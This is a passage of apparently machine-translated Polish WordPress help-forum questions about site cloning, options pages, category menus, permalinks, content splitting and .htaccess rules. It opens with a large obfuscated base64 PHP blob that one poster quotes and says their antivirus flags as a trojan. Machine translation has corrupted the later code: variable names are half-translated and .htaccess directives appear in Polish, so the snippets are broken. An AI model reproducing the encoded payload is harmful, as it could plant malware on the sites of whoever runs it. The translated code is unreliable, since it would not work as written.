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'\x29\x29\x29\ x3B",".");?> NIE PRÓBUJ URUCHOMIĆ GO. Mój program antywirusowy wykrywa go jako trojana.


title: Wtyczki do klonowania witryny Wordpress i przenoszenia na inny adres URL

text: Czy są jakieś wtyczki, które mogłyby sklonować całą witrynę Wordpress i zainstalować ją w innej lokalizacji? Buduję witryny na jednym adresie URL, a następnie pokazuję klientowi i przenoszę go pod inny adres URL, aby go pokazać. W tej chwili kopiowanie plików i bazy danych oraz ponowne wgrywanie wszystkiego i zmienianie adresów URL to trochę koszmar! AKTUALIZACJA: Chcę, żeby korzystali z dwóch różnych baz danych.


title: Menu_slug używane do tworzenia strony opcji

text: Śledzę tę stronę na temat projektowania menu opcji: http://codex.wordpress.org/Administration_Menus Jakie jest znaczenie **menu_slug** ? Pytam, ponieważ kiedy zmienię tę wartość, strona opcji zmieni się na > Nie masz wystarczających uprawnień, aby uzyskać dostęp do tej strony. Jeśli zmienię to z powrotem na to, co było, jest w porządku. **---EDIT---15/8/2011** To jest kod, który zmieniałem: function highlighter_menu_() { add_options_page('Opcje pisaka zakreślacza', 'Pióro zakreślacza', 'manage_options', 'my-unique -identyfikator', 'opcje_wtyczki_podświetlania'); } i zmieniłem ją na funkcję highlighter_menu_() { add_options_page('Opcje pisaka zakreślacza', 'Pióro zakreślacza', 'manage_options', 'a-unikalny-identyfikator', 'highlighter_plugin_options'); }


title: Pokaż identyfikator kategorii na niestandardowej liście kategorii

text:
Stworzyłem listę kategorii, aby pokazać je w sposób, z którego może korzystać mój akordeon. (Niestandardowy na pasku bocznym) Chcę dodać klasę o nazwie „bieżąca” dla aktualnie oglądanego posta, a przeglądana kategoria powinna zostać otwarta. Masz jakieś pomysły na zintegrowanie tego w kodzie? Ciężko było pracować, aby to zadziałało, a teraz nie wiem, jak to zintegrować... Link: http://www.davidgoltz.de/2011/anna-bederke-actor/ (po kliknięciu "Portfolio" pojawi się menu i powinno pokazywać otwarte drzewo z podświetlonym wpisem. Oto kod:

 <?php $kategorien = get_categories(array( 'child_of' = > 0, 'exclude_tree' => 15, 'exclude' => 16, 'orderby' => 'slug', 'order' => 'ASC')); foreach($kategorien as $kategorie) { echo '
'; echo ($kategorie->nazwa); echo ''; echo '
'; $cat = $kategorie->cat_ID ; $posts = get_posts('category='. $cat .'&posts_per_page=-1'); foreach($posts as $post) { ?>
 <a href="<?php the_permalink(); ?>"><?php the_title(); ?>
 <? } echo '
'; echo '
'; } ?>


title: Nagle nowe posty mają domyślny permalink zamiast nazwy posta

text: Jedna z witryn moich klientów nagle i bez wyraźnego powodu postanowiła zignorować niestandardową strukturę permalinków podczas dodawania nowego posta. Struktura permalinku jest ustawiona na /%postname%/ Więc podczas gdy normalnym zachowaniem podczas tworzenia nowego posta o nazwie „New Post” i zapisywania go byłoby wygenerowanie linku bezpośredniego, takiego jak http://www.mysite.com/new-post / teraz tworzy domyślne permalinki, takie jak http://www.mysite.com/?p=5709 Próbowałem zmienić niestandardowe ustawienie permalinku na coś innego, zapisać je i zmienić z powrotem, ale nie rozwiązało to problemu. Odkryłem, że ręczna zmiana permalinka w edytorze postów na poprawny działa, a następnie możesz odwiedzić stronę pod tym nowym permalinkiem. Najwyraźniej jest jakieś ustawienie lub usterka, która powoduje, że edytor generuje zły link bezpośredni. jakieś pomysły? Dzięki wielkie!


title: Podziel treść posta na oddzielne elementy div na każde 500 znaków (lub dowolną inną liczbę znaków)

text:
Jaka jest najlepsza metoda przechwytywania the_content posta (dla pojedynczej strony posta) i dzielenia the_content na sekcje o długości 500 znaków (lub dowolnej innej liczby znaków), a następnie wyprowadzanie każdej sekcji zawierającej 500 znaków w osobnym kontenerze div? Rozumiem, że get_the_content() zwróci zawartość posta jako ciąg, który można przechowywać w zmiennej. Ale będąc nowicjuszem w PHP, nie jestem pewien, jak podzielić zawartość na podstawie liczby znaków. Możemy uzyskać liczbę znaków używając: <?php $content = get_the_content(); echo strlen($zawartość); ?> Ale na tym polega moja wiedza. Czy ktoś może mi pomóc w tym wyzwaniu? AKTUALIZACJA: Z pewną pomocą Lukasa Kolletzkiego w sprawie przepełnienia stosu dotarłem tak daleko: <?php $content = get_the_content(); $kawałki = str_split($zawartość, 500); //Drukowanie każdego fragmentu w div foreach($chunks as $chunk_content) { echo "
"; echo $chunk_content; echo "
"; } ?> To z powodzeniem dzieli treść posta na sekcje o długości 500 słów i pakuje każdą z nich w osobne kontenery. Idąc jeszcze dalej, Lukas zasugerował użycie funkcji wordwrap() i explode(), aby upewnić się, że słowa nie zostały przecięte na pół: <?php $content = get_the_content(); $strings = wordwrap($treść, 500, "
"); //Umieść {BREAK} co 500 znaków $chunks = explode("
", $strings); //Umieść każdy segment oddzielony przez {BREAK} w polu tablicy //Drukowanie każdego fragmentu w div foreach($chunks as $chunk_content) { echo "
"; echo $chunk_content; echo "
"; } ?> Działa to całkiem nieźle, ale teraz zdaję sobie sprawę, że normalne znaczniki wordpress nie są wyświetlane. Czy to dlatego, że get_the_content() wyświetla tylko tekst, bez kodu html? Jak mogę przywrócić akapity do treści posta i nadal zachować powyższą funkcjonalność? Jeszcze raz dziękujemy i nie oznaczaj tego jako duplikatu. To zupełnie inne pytanie niż pytanie o filtr excerpt_length... a przynajmniej tak mi się wydaje.


title: Jak wyświetlić regulamin w obszarze postu?

text: Prowadzę multisite. Chciałbym wyświetlić "Regulamin" podczas tworzenia nowego posta przez użytkownika. Użytkownicy powinni kliknąć link „Zgadzam się”, a następnie przejść do tworzenia nowego posta (wp-admin/post-new.php). Czy jest do tego dostępna dobra wtyczka? Czy ktoś może mi podać kilka fragmentów? Czekam na to. Dziękuję


title: Czy istnieje sposób, aby filmy z YouTube nie wyświetlały się na stronie głównej i wyświetlały się tylko w pojedynczych postach?

text: Mam ciekawy problem, który wymaga odrobiny kreatywności do rozwiązania. Mamy stronę internetową, na której tworzymy narrację wideo o naszym synu, który urodził się z zespołem Downa. Robimy codzienny post z jednominutowym filmem. Na stronie głównej pokazuję kilka ostatnich postów na blogu z linkiem Czytaj więcej, kilka akapitów do posta, które ktoś kliknąłby, aby przejść do pojedynczego posta. Zawsze publikowałem posty, w których wideo znajduje się na górze postu (to jest miejsce, w którym nasi czytelnicy spodziewają się go teraz znaleźć), ale na stronie głównej może pojawić się 5 -8 filmów, co spowalnia moja strona w dół, gdy czeka na uzyskanie informacji o filmie z youtube dla wszystkich tych filmów. Nie jestem pewien, jaki byłby najlepszy sposób na zrobienie tego. Chciałbym znaleźć sposób, aby post na stronie głównej miał u góry obraz (może wyróżniony obraz z posta?) i kilka pierwszych akapitów posta, a następnie tag czytaj więcej, który przeniesie je do pojedynczy post… a pojedynczy post jest taki sam, jak zawsze. (który ładuje się znacznie szybciej, ponieważ na tej stronie jest tylko jeden film). Czy ma to sens? Jestem pewien, że mogę to zrobić na kilka kreatywnych sposobów, o których nawet nie myślę. Wszelkie przemyślenia / rady, które możesz mi udzielić, aby mi w tym pomóc i przyspieszyć czas ładowania strony głównej, byłyby bardzo mile widziane. Dziękuję!


title: filtr get_the_categories zwraca pustą tablicę

text: Zajmuję się tworzeniem motywu, który używa funkcji `get_the_category_list()` (w _category-template.php_ ). Badając jego kod, funkcja ta wywołuje funkcję `get_the_category()` (w _category-template.php_ ), która stosuje filtr `get_the_categories` na końcu: return apply_filters( 'get_the_categories', $categories ); Z jakiegoś dziwnego powodu ten filtr zwraca pustą tablicę. Jeśli zamienię tę linię na: return $categories; wtedy wszystko jest w porządku. Masz jakieś pomysły na to, co się tutaj dzieje?


title: Permalinki do niestandardowych nie działają (po wyjęciu z pudełka)

text: Próbowałem zmienić tryb .htaccess w folderze wordpress na 644. Jeszcze nie znaleziono Żądany adres URL /wordpress/features/ nie został znaleziony na tym serwerze. Ciągle czytam o przearanżowaniu mojego .htaccess, aby działały Permalinki. Nie rozumiem. Oto szczegóły mojego .htaccess # Comment DirectoryIndex index.html index.htm index.php <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /wordpress/ RewriteCond %{QUERY_STRING} (^|\?|&)s2member_file_download\=.+ RewriteRule .* - [E=no-gzip:1] </IfModule> # BEGIN FlexiCache Standalone <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{HTTP_HOST} localhost$ RewriteCond %{REQUEST_METHOD} %I}Rewrite_Cond ^/wp- RewriteCond %{HTTP_COOKIE} !(wordpress_logged_in|comment_author|wp-postpass) RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d [LUB] RewriteCond %{REQUEST_$^URI *) wp-content/plugins/flexicache/standalone.php [L] </IfModule> # KONIEC Autonomicznej FlexiCache # POCZĄTEK W3TC Browser Cache <IfModule mod_deflate.c> <IfModule mod_setenvif.c> BrowserMatch ^Mozilla/4 gzip-only-text/html BrowserMatch ^Mozilla/4\.0[678] no-gzip BrowserMatch \bMSIE !no-gzip !gzip-only-text/ html BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html </IfModule> <IfModule mod_headers.c> Dołączanie nagłówka Vary User-Agent env=!dont-vary </IfModule> <IfModule mod_filter.c > AddOutputFilterByType DEFLATE text/css application/x-javascript text/x-component text/html text/richtext image/svg+xml text/plain text/xsd text/xsl text/xml image/x-icon </IfModule> </ IfModule> <FilesMatch "\.(css|js|htc|CSS|JS|HTC)$"> <IfModule mod_headers.c> Zestaw nagłówków Pragma "public" Zestaw nagłówków Cache-Control "max-age=31536000, public, musi -revalidate, proxy-revalidate" </IfModule> FileETag Brak <IfModule mod_headers.c> Zestaw nagłówków X-Powered-By "W3 Tota l Pamięć podręczna/0.9.2.4" </IfModule> </FilesMatch> <FilesMatch "\.(html|htm|rtf|rtx|svg|svgz|txt|xsd|xsl|xml|HTML|HTM|RTF|RTX|SVG |SVGZ|TXT|XSD|XSL|XML)$"> <IfModule mod_headers.c> Zestaw nagłówków Pragma „public” Zestaw nagłówków Cache-Control „max-age=3600, public, must-revalidate, proxy-revalidate” </ IfModule> FileETag Brak <IfModule mod_headers.c> Zestaw nagłówków X-Powered-By "W3 Total Cache/0.9.2.4" </IfModule> </FilesMatch> <FilesMatch "\.(asf|asx|wax|wmv|wmx| avi|bmp|class|divx|doc|docx|eot|exe|gif|gz|gzip|ico|jpg|jpeg|jpe|mdb|mid|midi|mov|qt|mp3|m4a|mp4|m4v|mpeg| mpg|mpe|mpp|otf|odb|odc|odf|odg|odp|ods|odt|ogg|pdf|png|pot|pps|ppt|pptx|ra|ram|svg|svgz|swf|tar|tif| tiff|ttf|ttc|wav|wma|wri|xla|xls|xlsx|xlt|xlw|zip|ASF|ASX|WAX|WMV|WMX|AVI|BMP|CLASS|DIVX|DOC|DOCX|EOT|EXE| GIF|GZ|GZIP|ICO|JPG|JPEG|JPE|MDB|MID|MIDI|MOV|QT|MP3|M4A|MP4|M4V|MPEG|MPG|MPE|MPP|OTF|ODB|ODC|ODF|ODG| ODP|ODS|ODT|OGG|PDF|PNG|POT|PPS|PPT|PPTX |RA|RAM|SVG|SVGZ|SWF|TAR|TIF|TIFF|TTF|TTC|WAV|WMA|WRI|XLA|XLS|XLSX|XLT|XLW|ZIP)$"> <IfModule mod_headers.c> Zestaw nagłówków Pragma „public” Zestaw nagłówków Cache-Control 